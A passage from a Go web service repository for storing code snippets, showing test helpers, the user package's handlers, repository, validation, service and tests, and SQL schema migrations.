WantStatus int 21 | WantResponse string 22 | } 23 | 24 | //Endpoint - ... 25 | func Endpoint(t *testing.T, name string, router *routing.Router, tc APITestCase) { 26 | t.Run(name, func(t *testing.T) { 27 | req, err := http.NewRequest(tc.Method, tc.URL, bytes.NewBufferString(tc.Body)) 28 | if err != nil { 29 | //TODO: probably t.Error() will be enough 30 | t.Error(err) 31 | t.FailNow() 32 | } 33 | if tc.Header != nil { 34 | req.Header = tc.Header 35 | } 36 | if req.Header.Get("Content-Type") == "" { 37 | req.Header.Set("Content-Type", "application/json") 38 | } 39 | res := httptest.NewRecorder() 40 | router.ServeHTTP(res, req) 41 | assert.Equal(t, tc.WantStatus, res.Code) 42 | if tc.WantResponse != "" { 43 | pattern := strings.Trim(tc.WantResponse, "*") 44 | if pattern != tc.WantResponse { 45 | assert.Contains(t, res.Body.String(), pattern, "response mismatch") 46 | } else { 47 | assert.JSONEq(t, tc.WantResponse, res.Body.String(), "response mismatch") 48 | } 49 | } 50 | }) 51 | } 52 | -------------------------------------------------------------------------------- /internal/test/rbac.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 7 | ) 8 | 9 | type RBACMock struct { 10 | CanViewSnippetFn func(ctx context.Context, snippet entity.Snippet) error 11 | CanUpdateSnippetFn func(ctx context.Context, snippet entity.Snippet) error 12 | CanDeleteSnippetFn func(ctx context.Context, snippet entity.Snippet) error 13 | GetUserIDFn func(ctx context.Context) int 14 | } 15 | 16 | func (r RBACMock) CanViewSnippet(ctx context.Context, snippet entity.Snippet) error { 17 | return r.CanViewSnippetFn(ctx, snippet) 18 | } 19 | 20 | func (r RBACMock) CanUpdateSnippet(ctx context.Context, snippet entity.Snippet) error { 21 | return r.CanUpdateSnippetFn(ctx, snippet) 22 | } 23 | 24 | func (r RBACMock) CanDeleteSnippet(ctx context.Context, snippet entity.Snippet) error { 25 | return r.CanDeleteSnippetFn(ctx, snippet) 26 | } 27 | 28 | func (r RBACMock) GetUserID(ctx context.Context) int { 29 | identity := ctx.Value(entity.JWTCtxKey).(entity.Identity) 30 | return identity.GetID() 31 | } 32 | -------------------------------------------------------------------------------- /internal/test/router.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "context" 5 | "net/http" 6 | "net/http/httptest" 7 | 8 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 9 | "github.com/splendidalloy/cloud.snippets.ninja/internal/errors" 10 | routing "github.com/go-ozzo/ozzo-routing/v2" 11 | "github.com/go-ozzo/ozzo-routing/v2/content" 12 | ) 13 | 14 | // MockRoutingContext creates a routing.Conext for testing handlers. 15 | func MockRoutingContext(req *http.Request) (*routing.Context, *httptest.ResponseRecorder) { 16 | res := httptest.NewRecorder() 17 | if req.Header.Get("Content-Type") != "" { 18 | req.Header.Set("Content-Type", "application/json") 19 | } 20 | ctx := routing.NewContext(res, req) 21 | ctx.SetDataWriter(&content.JSONDataWriter{}) 22 | return ctx, res 23 | } 24 | 25 | // MockRouter creates a routing.Router for testing APIs. 26 | func MockRouter() *routing.Router { 27 | router := routing.New() 28 | router.Use( 29 | content.TypeNegotiator(content.JSON), 30 | errors.Handler(), 31 | ) 32 | return router 33 | } 34 | 35 | // WithUser returns a context that contains the user identity from the given JWT. 36 | func WithUser(ctx context.Context, id int, login string) context.Context { 37 | return context.WithValue(ctx, entity.JWTCtxKey, entity.Identity{ID: id, Login: login}) 38 | } 39 | 40 | // MockAuthMiddleware creates a mock authentication middleware for testing purpose. 41 | // If the request contains an Authorization header whose value is "TEST", then 42 | // it considers the user is authenticated as "Tester" whose ID is "100". 43 | // It fails the authentication otherwise. 44 | func MockAuthMiddleware(c *routing.Context) error { 45 | if c.Request.Header.Get("Authorization") != "TEST" { 46 | return errors.Unauthorized("") 47 | } 48 | ctx := WithUser(c.Request.Context(), 100, "Tester") 49 | c.Request = c.Request.WithContext(ctx) 50 | return nil 51 | } 52 | 53 | // MockAuthHeader returns an HTTP header that can pass the authentication check by MockAuthHandler. 54 | func MockAuthHeader() http.Header { 55 | header := http.Header{} 56 | header.Add("Authorization", "TEST") 57 | return header 58 | } 59 | -------------------------------------------------------------------------------- /internal/test/time.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import "time" 4 | 5 | func Time(year int) time.Time { 6 | return time.Date(year, time.May, 19, 1, 2, 3, 4, time.UTC) 7 | } 8 | -------------------------------------------------------------------------------- /internal/user/http.go: -------------------------------------------------------------------------------- 1 | package user 2 | 3 | import ( 4 | "net/http" 5 | "time" 6 | 7 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 8 | "github.com/splendidalloy/cloud.snippets.ninja/internal/errors" 9 | routing "github.com/go-ozzo/ozzo-routing/v2" 10 | ) 11 | 12 | type resource struct { 13 | service Service 14 | } 15 | 16 | //NewHTTPHandler - 17 | func NewHTTPHandler(router *routing.RouteGroup, jwtAuthMiddleware routing.Handler, service Service) { 18 | r := resource{ 19 | service: service, 20 | } 21 | router.Post("/users", r.create) 22 | router.Use(jwtAuthMiddleware) 23 | router.Get("/users/me", r.me) 24 | } 25 | 26 | func (r resource) create(c *routing.Context) error { 27 | var request createRequest 28 | if err := c.Read(&request); err != nil { 29 | return err 30 | } 31 | err := request.Validate() 32 | if err != nil { 33 | return err 34 | } 35 | 36 | if exists, err := r.service.Exists(c.Request.Context(), "email", request.Email); err != nil { 37 | return errors.InternalServerError(err.Error()) 38 | } else if exists { 39 | return errors.BadRequest("email should be unique") 40 | } 41 | 42 | if exists, err := r.service.Exists(c.Request.Context(), "login", request.Login); err != nil { 43 | return errors.InternalServerError(err.Error()) 44 | } else if exists { 45 | return errors.BadRequest("login should be unique") 46 | } 47 | 48 | user := entity.User{ 49 | Password: request.Password, 50 | Login: request.Login, 51 | Email: request.Email, 52 | CreatedAt: time.Now(), 53 | UpdatedAt: time.Now(), 54 | } 55 | 56 | user, err = r.service.Create(c.Request.Context(), user) 57 | if err != nil { 58 | return err 59 | } 60 | return c.WriteWithStatus(user, http.StatusCreated) 61 | } 62 | 63 | func (r resource) me(c *routing.Context) error { 64 | identity := c.Request.Context().Value(entity.JWTCtxKey).(entity.Identity) 65 | me, err := r.service.GetByID(c.Request.Context(), identity.GetID()) 66 | if err != nil { 67 | return err 68 | } 69 | return c.Write(me) 70 | } 71 | -------------------------------------------------------------------------------- /internal/user/http_test.go: -------------------------------------------------------------------------------- 1 | package user 2 | 3 | import ( 4 | "context" 5 | "net/http" 6 | "testing" 7 | 8 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 9 | "github.com/splendidalloy/cloud.snippets.ninja/internal/test" 10 | ) 11 | 12 | func TestHTTP_Create(t *testing.T) { 13 | cases := []struct { 14 | name string 15 | request test.APITestCase 16 | repository Repository 17 | }{ 18 | { 19 | name: "create success", 20 | request: test.APITestCase{ 21 | Method: http.MethodPost, 22 | URL: "/users", 23 | Body: `{"login": "dd3v", "email": "dd3v@gmail.com", "password": "qwerty", "repeat_password": "qwerty"}`, 24 | Header: nil, 25 | WantStatus: http.StatusCreated, 26 | WantResponse: "*dd3v*", 27 | }, 28 | repository: RepositoryMock{ 29 | CreateFn: func(ctx context.Context, user entity.User) (entity.User, error) { 30 | return entity.User{ 31 | ID: 1, 32 | Password: "$2a$10$ceGJobOZUCIVM72m9fMVZO.NjjQcaadIhJnQEE7Cdq/QuBze9yZAq", 33 | Login: "dd3v", 34 | Email: "dd3v@gmail.com", 35 | CreatedAt: test.Time(2021), 36 | UpdatedAt: test.Time(2021), 37 | }, nil 38 | }, 39 | ExistsFn: func(ctx context.Context, field string, value string) (bool, error) { 40 | return false, nil 41 | }, 42 | }, 43 | }, 44 | { 45 | name: "validation error", 46 | request: test.APITestCase{ 47 | Method: http.MethodPost, 48 | URL: "/users", 49 | Body: `{"email": "dd3v@gmail.com", "password": "qwerty", "repeat_password": "qwerty"}`, 50 | Header: nil, 51 | WantStatus: http.StatusBadRequest, 52 | WantResponse: "", 53 | }, 54 | repository: RepositoryMock{ 55 | CreateFn: func(ctx context.Context, user entity.User) (entity.User, error) { 56 | return entity.User{}, nil 57 | }, 58 | ExistsFn: func(ctx context.Context, field string, value string) (bool, error) { 59 | return false, nil 60 | }, 61 | }, 62 | }, 63 | { 64 | name: "validation error, email or login", 65 | request: test.APITestCase{ 66 | Method: http.MethodPost, 67 | URL: "/users", 68 | Body: `{"email": "dd3v@gmail.com", "password": "qwerty", "repeat_password": "qwerty"}`, 69 | Header: nil, 70 | WantStatus: http.StatusBadRequest, 71 | WantResponse: "", 72 | }, 73 | repository: RepositoryMock{ 74 | ExistsFn: func(ctx context.Context, field string, value string) (bool, error) { 75 | return true, nil 76 | }, 77 | }, 78 | }, 79 | { 80 | name: "repository error", 81 | request: test.APITestCase{ 82 | Method: http.MethodPost, 83 | URL: "/users", 84 | Body: `{"login":"dd3v", "email": "dd3v@gmail.com", "password": "qwerty", "repeat_password": "qwerty"}`, 85 | Header: nil, 86 | WantStatus: http.StatusInternalServerError, 87 | WantResponse: "", 88 | }, 89 | repository: RepositoryMock{ 90 | ExistsFn: func(ctx context.Context, field string, value string) (bool, error) { 91 | return true, repositoryMockErr 92 | }, 93 | }, 94 | }, 95 | } 96 | for _, tc := range cases { 97 | router := test.MockRouter() 98 | service := NewService(tc.repository) 99 | NewHTTPHandler(router.Group(""), test.MockAuthMiddleware, service) 100 | test.Endpoint(t, tc.name, router, tc.request) 101 | } 102 | } 103 | 104 | func TestHTTP_Me(t *testing.T) { 105 | var cases = []struct { 106 | name string 107 | request test.APITestCase 108 | repository Repository 109 | }{ 110 | { 111 | name: "unauthorized", 112 | request: test.APITestCase{ 113 | Method: http.MethodGet, 114 | URL: "/users/me", 115 | Body: "", 116 | Header: nil, 117 | WantStatus: http.StatusUnauthorized, 118 | WantResponse: "", 119 | }, 120 | repository: RepositoryMock{ 121 | GetByIDFn: func(ctx context.Context, id int) (entity.User, error) { 122 | return entity.User{ 123 | ID: 1, 124 | Password: "$2a$10$ceGJobOZUCIVM72m9fMVZO.NjjQcaadIhJnQEE7Cdq/QuBze9yZAq", 125 | Login: "dd3v", 126 | Email: "dd3v@gmail.com", 127 | CreatedAt: test.Time(2021), 128 | UpdatedAt: test.Time(2021), 129 | }, nil 130 | }, 131 | }, 132 | }, 133 | { 134 | name: "success", 135 | request: test.APITestCase{ 136 | Method: http.MethodGet, 137 | URL: "/users/me", 138 | Body: "", 139 | Header: test.MockAuthHeader(), 140 | WantStatus: http.StatusOK, 141 | WantResponse: "*dd3v*", 142 | }, 143 | repository: RepositoryMock{ 144 | GetByIDFn: func(ctx context.Context, id int) (entity.User, error) { 145 | return entity.User{ 146 | ID: 1, 147 | Password: "$2a$10$ceGJobOZUCIVM72m9fMVZO.NjjQcaadIhJnQEE7Cdq/QuBze9yZAq", 148 | Login: "dd3v", 149 | Email: "dd3v@gmail.com", 150 | CreatedAt: test.Time(2021), 151 | UpdatedAt: test.Time(2021), 152 | }, nil 153 | }, 154 | }, 155 | }, 156 | } 157 | for _, tc := range cases { 158 | router := test.MockRouter() 159 | service := NewService(tc.repository) 160 | NewHTTPHandler(router.Group(""), test.MockAuthMiddleware, service) 161 | test.Endpoint(t, tc.name, router, tc.request) 162 | } 163 | } 164 | -------------------------------------------------------------------------------- /internal/user/repository.go: -------------------------------------------------------------------------------- 1 | package user 2 | 3 | import ( 4 | "context" 5 | 6 | dbx "github.com/go-ozzo/ozzo-dbx" 7 | 8 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 9 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/dbcontext" 10 | ) 11 | 12 | type repository struct { 13 | db *dbcontext.DB 14 | } 15 | 16 | func NewRepository(db *dbcontext.DB) Repository { 17 | return repository{ 18 | db: db, 19 | } 20 | } 21 | 22 | func (r repository) GetByID(ctx context.Context, id int) (entity.User, error) { 23 | var user entity.User 24 | err := r.db.With(ctx).Select().Model(id, &user) 25 | return user, err 26 | } 27 | 28 | func (r repository) Create(ctx context.Context, user entity.User) (entity.User, error) { 29 | err := r.db.With(ctx).Model(&user).Insert() 30 | return user, err 31 | } 32 | 33 | func (r repository) Update(ctx context.Context, user entity.User) error { 34 | return r.db.With(ctx).Model(&user).Update() 35 | } 36 | 37 | func (r repository) Delete(ctx context.Context, id int) error { 38 | user, err := r.GetByID(ctx, id) 39 | if err != nil { 40 | return err 41 | } 42 | return r.db.With(ctx).Model(&user).Delete() 43 | } 44 | 45 | func (r repository) Exists(ctx context.Context, field string, value string) (bool, error) { 46 | var count int 47 | var exists bool 48 | err := r.db.With(ctx).Select("COUNT(*)").From("users").Where(dbx.HashExp{field: value}).Row(&count) 49 | if count == 0 { 50 | exists = false 51 | } else { 52 | exists = true 53 | } 54 | return exists, err 55 | } 56 | -------------------------------------------------------------------------------- /internal/user/repository_mock.go: -------------------------------------------------------------------------------- 1 | package user 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | 7 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 8 | ) 9 | 10 | var repositoryMockErr = errors.New("error repository") 11 | 12 | type RepositoryMock struct { 13 | GetByIDFn func(ctx context.Context, id int) (entity.User, error) 14 | CreateFn func(ctx context.Context, user entity.User) (entity.User, error) 15 | UpdateFn func(ctx context.Context, user entity.User) error 16 | DeleteFn func(ctx context.Context, id int) error 17 | ExistsFn func(ctx context.Context, field string, value string) (bool, error) 18 | } 19 | 20 | func (r RepositoryMock) GetByID(ctx context.Context, id int) (entity.User, error) { 21 | return r.GetByIDFn(ctx, id) 22 | } 23 | 24 | func (r RepositoryMock) Create(ctx context.Context, user entity.User) (entity.User, error) { 25 | return r.CreateFn(ctx, user) 26 | } 27 | 28 | func (r RepositoryMock) Update(ctx context.Context, user entity.User) error { 29 | return r.UpdateFn(ctx, user) 30 | } 31 | 32 | func (r RepositoryMock) Delete(ctx context.Context, id int) error { 33 | return r.DeleteFn(ctx, id) 34 | } 35 | 36 | func (r RepositoryMock) Exists(ctx context.Context, field string, value string) (bool, error) { 37 | return r.ExistsFn(ctx, field, value) 38 | } 39 | -------------------------------------------------------------------------------- /internal/user/repository_test.go: -------------------------------------------------------------------------------- 1 | // +build integration 2 | 3 | package user 4 | 5 | import ( 6 | "context" 7 | "testing" 8 | "time" 9 | 10 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 11 | "github.com/splendidalloy/cloud.snippets.ninja/internal/test" 12 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/dbcontext" 13 | "github.com/stretchr/testify/assert" 14 | ) 15 | 16 | var db *dbcontext.DB 17 | var r Repository 18 | var table = "users" 19 | 20 | func TestRepositoryMain(t *testing.T) { 21 | db = test.Database(t) 22 | test.TruncateTable(t, db, table) 23 | r = NewRepository(db) 24 | } 25 | func TestRepositoryCreate(t *testing.T) { 26 | cases := []struct { 27 | name string 28 | entity entity.User 29 | fail bool 30 | }{ 31 | { 32 | "success", 33 | entity.User{ 34 | PasswordHash: "hash_100", 35 | Login: "user_100", 36 | Email: "user_100@mail.com", 37 | CreatedAt: time.Now(), 38 | UpdatedAt: time.Now(), 39 | }, 40 | false, 41 | }, 42 | } 43 | 44 | for _, tc := range cases { 45 | t.Run(tc.name, func(t *testing.T) { 46 | _, err := r.Create(context.TODO(), tc.entity) 47 | assert.Equal(t, tc.fail, err != nil) 48 | }) 49 | } 50 | } 51 | 52 | func TestRepositoryUpdate(t *testing.T) { 53 | err := r.Update(context.TODO(), entity.User{ 54 | ID: 1, 55 | PasswordHash: "hash_100", 56 | Login: "user_100", 57 | Email: "user_100@mail.com", 58 | CreatedAt: time.Now(), 59 | UpdatedAt: time.Now(), 60 | }) 61 | assert.Nil(t, err) 62 | _, err = r.FindByID(context.TODO(), 1) 63 | assert.Nil(t, err) 64 | } 65 | 66 | func TestRepositoryCount(t *testing.T) { 67 | count, err := r.Count(context.TODO()) 68 | assert.Nil(t, err) 69 | assert.Equal(t, true, count != 0) 70 | } 71 | 72 | func TestRepositoryFindByID(t *testing.T) { 73 | _, err := r.FindByID(context.TODO(), 1) 74 | assert.Nil(t, err) 75 | } 76 | 77 | func TestRepositoryDelete(t *testing.T) { 78 | err := r.Delete(context.TODO(), 1) 79 | assert.Nil(t, err) 80 | _, err = r.FindByID(context.TODO(), 1) 81 | assert.NotNil(t, err) 82 | } 83 | -------------------------------------------------------------------------------- /internal/user/request.go: -------------------------------------------------------------------------------- 1 | package user 2 | 3 | import ( 4 | "errors" 5 | 6 | validation "github.com/go-ozzo/ozzo-validation" 7 | "github.com/go-ozzo/ozzo-validation/v3/is" 8 | ) 9 | 10 | //createRequest - ... 11 | type createRequest struct { 12 | Login string `json:"login"` 13 | Email string `json:"email"` 14 | Password string `json:"password"` 15 | RepeatPassword string `json:"repeat_password"` 16 | } 17 | 18 | func stringEquals(str string) validation.RuleFunc { 19 | return func(value interface{}) error { 20 | s, _ := value.(string) 21 | if s != str { 22 | return errors.New("password and repeat password should be equal") 23 | } 24 | return nil 25 | } 26 | } 27 | 28 | //Validate - ... 29 | func (r createRequest) Validate() error { 30 | return validation.ValidateStruct(&r, 31 | validation.Field(&r.Login, validation.Required, validation.Length(2, 50)), 32 | validation.Field(&r.Email, validation.Required, is.Email), 33 | validation.Field(&r.Password, validation.Required, validation.Length(6, 50)), 34 | validation.Field(&r.RepeatPassword, validation.Required, validation.Length(6, 50)), 35 | validation.Field(&r.Password, validation.By(stringEquals(r.RepeatPassword))), 36 | ) 37 | } 38 | 39 | //updateRequest - ... 40 | type updateRequest struct { 41 | Website string `json:"website"` 42 | } 43 | 44 | //Validate - ... 45 | func (u updateRequest) Validate() error { 46 | return validation.ValidateStruct(&u, 47 | validation.Field(&u.Website, validation.Length(5, 100), is.URL), 48 | ) 49 | } 50 | -------------------------------------------------------------------------------- /internal/user/request_test.go: -------------------------------------------------------------------------------- 1 | package user 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestCreateRequestValidation(t *testing.T) { 10 | cases := []struct { 11 | name string 12 | request createRequest 13 | fail bool 14 | }{ 15 | { 16 | "success", 17 | createRequest{ 18 | Login: "test", 19 | Email: "test@mailservice.com", 20 | Password: "qwerty", 21 | RepeatPassword: "qwerty", 22 | }, 23 | false, 24 | }, 25 | { 26 | "invalid email", 27 | createRequest{ 28 | Login: "test", 29 | Email: "testmailservice.com", 30 | Password: "qwerty", 31 | RepeatPassword: "qwerty", 32 | }, 33 | true, 34 | }, 35 | { 36 | "password confirmation", 37 | createRequest{ 38 | Login: "test", 39 | Email: "testmail@service.com", 40 | Password: "qwerty", 41 | RepeatPassword: "123456", 42 | }, 43 | true, 44 | }, 45 | { 46 | "length", 47 | createRequest{ 48 | Login: "sadfjk32149sadfmzkdrjk324sadfjk32149sadfmzkdrjk324", 49 | Email: "testmail@service.com", 50 | Password: "qwerty", 51 | RepeatPassword: "123456", 52 | }, 53 | true, 54 | }, 55 | } 56 | for _, tc := range cases { 57 | t.Run(tc.name, func(t *testing.T) { 58 | err := tc.request.Validate() 59 | assert.Equal(t, tc.fail, err != nil) 60 | }) 61 | } 62 | } 63 | 64 | func TestUpdateRequestValidation(t *testing.T) { 65 | cases := []struct { 66 | name string 67 | request updateRequest 68 | fail bool 69 | }{ 70 | { 71 | "success", 72 | updateRequest{ 73 | Website: "github.com", 74 | }, 75 | false, 76 | }, 77 | { 78 | "invalid url", 79 | updateRequest{ 80 | Website: "gith@@#ubcom", 81 | }, 82 | true, 83 | }, 84 | { 85 | "length", 86 | updateRequest{ 87 | Website: "sadfjk32149sadfmzkdrjk324sadfjk32149sadfmzkdrjk324sadfjk32149sadfmzkdrjk324sadfjk32149sadfmzkdrjk3243s", 88 | }, 89 | true, 90 | }, 91 | } 92 | for _, tc := range cases { 93 | t.Run(tc.name, func(t *testing.T) { 94 | err := tc.request.Validate() 95 | assert.Equal(t, tc.fail, err != nil) 96 | }) 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /internal/user/service.go: -------------------------------------------------------------------------------- 1 | package user 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 7 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/security" 8 | ) 9 | 10 | //Service - ... 11 | type Service interface { 12 | GetByID(ctx context.Context, id int) (entity.User, error) 13 | Create(ctx context.Context, user entity.User) (entity.User, error) 14 | Exists(ctx context.Context, field string, value string) (bool, error) 15 | } 16 | 17 | //Repository - ... 18 | type Repository interface { 19 | GetByID(ctx context.Context, id int) (entity.User, error) 20 | Create(ctx context.Context, user entity.User) (entity.User, error) 21 | Update(ctx context.Context, user entity.User) error 22 | Delete(ctx context.Context, id int) error 23 | Exists(ctx context.Context, field string, value string) (bool, error) 24 | } 25 | 26 | type service struct { 27 | repository Repository 28 | } 29 | 30 | //NewService - ... 31 | func NewService(repository Repository) Service { 32 | return service{ 33 | repository: repository, 34 | } 35 | } 36 | 37 | func (s service) Exists(ctx context.Context, field string, value string) (bool, error) { 38 | return s.repository.Exists(ctx, field, value) 39 | } 40 | 41 | func (s service) GetByID(ctx context.Context, id int) (entity.User, error) { 42 | return s.repository.GetByID(ctx, id) 43 | } 44 | 45 | func (s service) Create(ctx context.Context, user entity.User) (entity.User, error) { 46 | 47 | passwordHash, err := security.GenerateHashFromPassword(user.Password) 48 | if err != nil { 49 | return entity.User{}, err 50 | } 51 | user.Password = passwordHash 52 | result, err := s.repository.Create(ctx, user) 53 | 54 | return result, err 55 | } 56 | -------------------------------------------------------------------------------- /internal/user/service_test.go: -------------------------------------------------------------------------------- 1 | package user 2 | 3 | import ( 4 | "context" 5 | "testing" 6 | 7 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 8 | "github.com/splendidalloy/cloud.snippets.ninja/internal/test" 9 | "github.com/stretchr/testify/assert" 10 | ) 11 | 12 | func TestService_GetByID(t *testing.T) { 13 | type args struct { 14 | id int 15 | } 16 | cases := []struct { 17 | name string 18 | repository Repository 19 | args args 20 | wantData entity.User 21 | wantErr error 22 | }{ 23 | { 24 | name: "get user by id", 25 | repository: RepositoryMock{ 26 | GetByIDFn: func(ctx context.Context, id int) (entity.User, error) { 27 | return entity.User{ 28 | ID: 1, 29 | Password: "$2a$10$ceGJobOZUCIVM72m9fMVZO.NjjQcaadIhJnQEE7Cdq/QuBze9yZAq", 30 | Login: "dd3v", 31 | Email: "dmitriy.d3v@gmail.com", 32 | CreatedAt: test.Time(2020), 33 | UpdatedAt: test.Time(2021), 34 | }, nil 35 | }, 36 | }, 37 | args: args{id: 1}, 38 | wantData: entity.User{ 39 | ID: 1, 40 | Password: "$2a$10$ceGJobOZUCIVM72m9fMVZO.NjjQcaadIhJnQEE7Cdq/QuBze9yZAq", 41 | Login: "dd3v", 42 | Email: "dmitriy.d3v@gmail.com", 43 | CreatedAt: test.Time(2020), 44 | UpdatedAt: test.Time(2021), 45 | }, 46 | wantErr: nil, 47 | }, 48 | { 49 | name: "repository errpr", 50 | repository: RepositoryMock{ 51 | GetByIDFn: func(ctx context.Context, id int) (entity.User, error) { 52 | return entity.User{}, repositoryMockErr 53 | }, 54 | }, 55 | args: args{id: 1}, 56 | wantData: entity.User{}, 57 | wantErr: repositoryMockErr, 58 | }, 59 | } 60 | 61 | for _, tc := range cases { 62 | t.Run(tc.name, func(t *testing.T) { 63 | service := NewService(tc.repository) 64 | user, err := service.GetByID(context.Background(), tc.args.id) 65 | assert.Equal(t, tc.wantData, user) 66 | assert.Equal(t, tc.wantErr, err) 67 | }) 68 | } 69 | } 70 | 71 | func TestService_Create(t *testing.T) { 72 | type args struct { 73 | user entity.User 74 | } 75 | cases := []struct { 76 | name string 77 | repository Repository 78 | args args 79 | wantData entity.User 80 | wantErr error 81 | }{ 82 | { 83 | name: "user can create new user", 84 | repository: RepositoryMock{ 85 | CreateFn: func(ctx context.Context, user entity.User) (entity.User, error) { 86 | return entity.User{ 87 | ID: 1, 88 | Password: "$2a$10$ceGJobOZUCIVM72m9fMVZO.NjjQcaadIhJnQEE7Cdq/QuBze9yZAq", 89 | Login: "dd3v", 90 | Email: "dd3v@gmail.com", 91 | CreatedAt: test.Time(2021), 92 | UpdatedAt: test.Time(2021), 93 | }, nil 94 | }, 95 | ExistsFn: func(ctx context.Context, field string, value string) (bool, error) { 96 | return false, nil 97 | }, 98 | }, 99 | args: args{user: entity.User{ 100 | ID: 1, 101 | Password: "qwerty", 102 | Login: "dd3v", 103 | Email: "dd3v@gmail.com", 104 | CreatedAt: test.Time(2021), 105 | UpdatedAt: test.Time(2021), 106 | }}, 107 | wantData: entity.User{ 108 | ID: 1, 109 | Password: "$2a$10$ceGJobOZUCIVM72m9fMVZO.NjjQcaadIhJnQEE7Cdq/QuBze9yZAq", 110 | Login: "dd3v", 111 | Email: "dd3v@gmail.com", 112 | CreatedAt: test.Time(2021), 113 | UpdatedAt: test.Time(2021), 114 | }, 115 | wantErr: nil, 116 | }, 117 | { 118 | name: "repository error", 119 | repository: RepositoryMock{ 120 | CreateFn: func(ctx context.Context, user entity.User) (entity.User, error) { 121 | return entity.User{}, repositoryMockErr 122 | }, 123 | ExistsFn: func(ctx context.Context, field string, value string) (bool, error) { 124 | return false, nil 125 | }, 126 | }, 127 | args: args{user: entity.User{ 128 | ID: 1, 129 | Password: "qwerty", 130 | Login: "dd3v", 131 | Email: "dd3v@gmail.com", 132 | CreatedAt: test.Time(2021), 133 | UpdatedAt: test.Time(2021), 134 | }}, 135 | wantData: entity.User{}, 136 | wantErr: repositoryMockErr, 137 | }, 138 | } 139 | for _, tc := range cases { 140 | t.Run(tc.name, func(t *testing.T) { 141 | service := NewService(tc.repository) 142 | user, err := service.Create(context.Background(), tc.args.user) 143 | assert.Equal(t, tc.wantData, user) 144 | assert.Equal(t, tc.wantErr, err) 145 | }) 146 | } 147 | } 148 | 149 | func TestService_Exists(t *testing.T) { 150 | 151 | type args struct { 152 | field string 153 | value string 154 | } 155 | 156 | cases := []struct { 157 | name string 158 | repository Repository 159 | args args 160 | wantData bool 161 | wantErr error 162 | }{ 163 | { 164 | name: "email is unique", 165 | repository: RepositoryMock{ 166 | ExistsFn: func(ctx context.Context, field string, value string) (bool, error) { 167 | return false, nil 168 | }, 169 | }, 170 | args: args{ 171 | field: "email", 172 | value: "test@gmail.com", 173 | }, 174 | wantData: false, 175 | wantErr: nil, 176 | }, 177 | { 178 | name: "email is not unique", 179 | repository: RepositoryMock{ 180 | ExistsFn: func(ctx context.Context, field string, value string) (bool, error) { 181 | return true, nil 182 | }, 183 | }, 184 | args: args{ 185 | field: "email", 186 | value: "test@gmail.com", 187 | }, 188 | wantData: true, 189 | wantErr: nil, 190 | }, 191 | { 192 | name: "repository error", 193 | repository: RepositoryMock{ 194 | ExistsFn: func(ctx context.Context, field string, value string) (bool, error) { 195 | return false, repositoryMockErr 196 | }, 197 | }, 198 | args: args{ 199 | field: "email", 200 | value: "test@gmail.com", 201 | }, 202 | wantData: false, 203 | wantErr: repositoryMockErr, 204 | }, 205 | } 206 | 207 | for _, tc := range cases { 208 | t.Run(tc.name, func(t *testing.T) { 209 | service := NewService(tc.repository) 210 | exists, err := service.Exists(context.Background(), tc.args.field, tc.args.value) 211 | assert.Equal(t, tc.wantData, exists) 212 | assert.Equal(t, tc.wantErr, err) 213 | }) 214 | } 215 | } 216 | -------------------------------------------------------------------------------- /migrations/000001_init.down.sql: -------------------------------------------------------------------------------- 1 | DROP TABLE IF EXISTS `users`; 2 | DROP TABLE IF EXISTS `sessions`; 3 | DROP TABLE IF EXISTS `snippets`; -------------------------------------------------------------------------------- /migrations/000001_init.up.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE `sessions` 2 | ( 3 | `id` int NOT NULL AUTO_INCREMENT, 4 | `user_id` int NOT NULL, 5 | `refresh_token` char(36) NOT NULL, 6 | `exp` timestamp NOT NULL, 7 | `ip` varchar(25) NOT NULL, 8 | `user_agent` varchar(500) NOT NULL, 9 | `created_at` datetime NOT NULL, 10 | PRIMARY KEY (`id`) 11 | ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4 COLLATE utf8mb4_unicode_ci; 12 | 13 | CREATE TABLE `snippets` 14 | ( 15 | `id` int NOT NULL AUTO_INCREMENT, 16 | `user_id` int NOT NULL, 17 | `favorite` tinyint(1) NOT NULL DEFAULT '0', 18 | `access_level` tinyint(1) NOT NULL DEFAULT '0', 19 | `title` varchar(500) NOT NULL, 20 | `content` text NOT NULL, 21 | `tags` json NULL, 22 | `language` varchar(20) NOT NULL, 23 | `custom_editor_options` json NOT NULL, 24 | `created_at` datetime NOT NULL, 25 | `updated_at` datetime NOT NULL, 26 | PRIMARY KEY (`id`) 27 | ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4 COLLATE utf8mb4_unicode_ci; 28 | 29 | CREATE TABLE `users` 30 | ( 31 | `id` int NOT NULL AUTO_INCREMENT, 32 | `password` varchar(60) NOT NULL, 33 | `login` varchar(100) NOT NULL, 34 | `email` varchar(100) NOT NULL, 35 | `created_at` datetime NOT NULL, 36 | `updated_at` datetime NOT NULL, 37 | PRIMARY KEY (`id`), 38 | UNIQUE KEY `email_idx` (`email`) USING BTREE, 39 | UNIQUE KEY `login_idx` (`login`) USING BTREE 40 | ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4 COLLATE utf8mb4_unicode_ci; 41 | 42 | 43 | CREATE FULLTEXT INDEX `title_content` ON snippets(title,content) 44 | -------------------------------------------------------------------------------- /pkg/accesslog/middleware.go: -------------------------------------------------------------------------------- 1 | package accesslog 2 | 3 | import ( 4 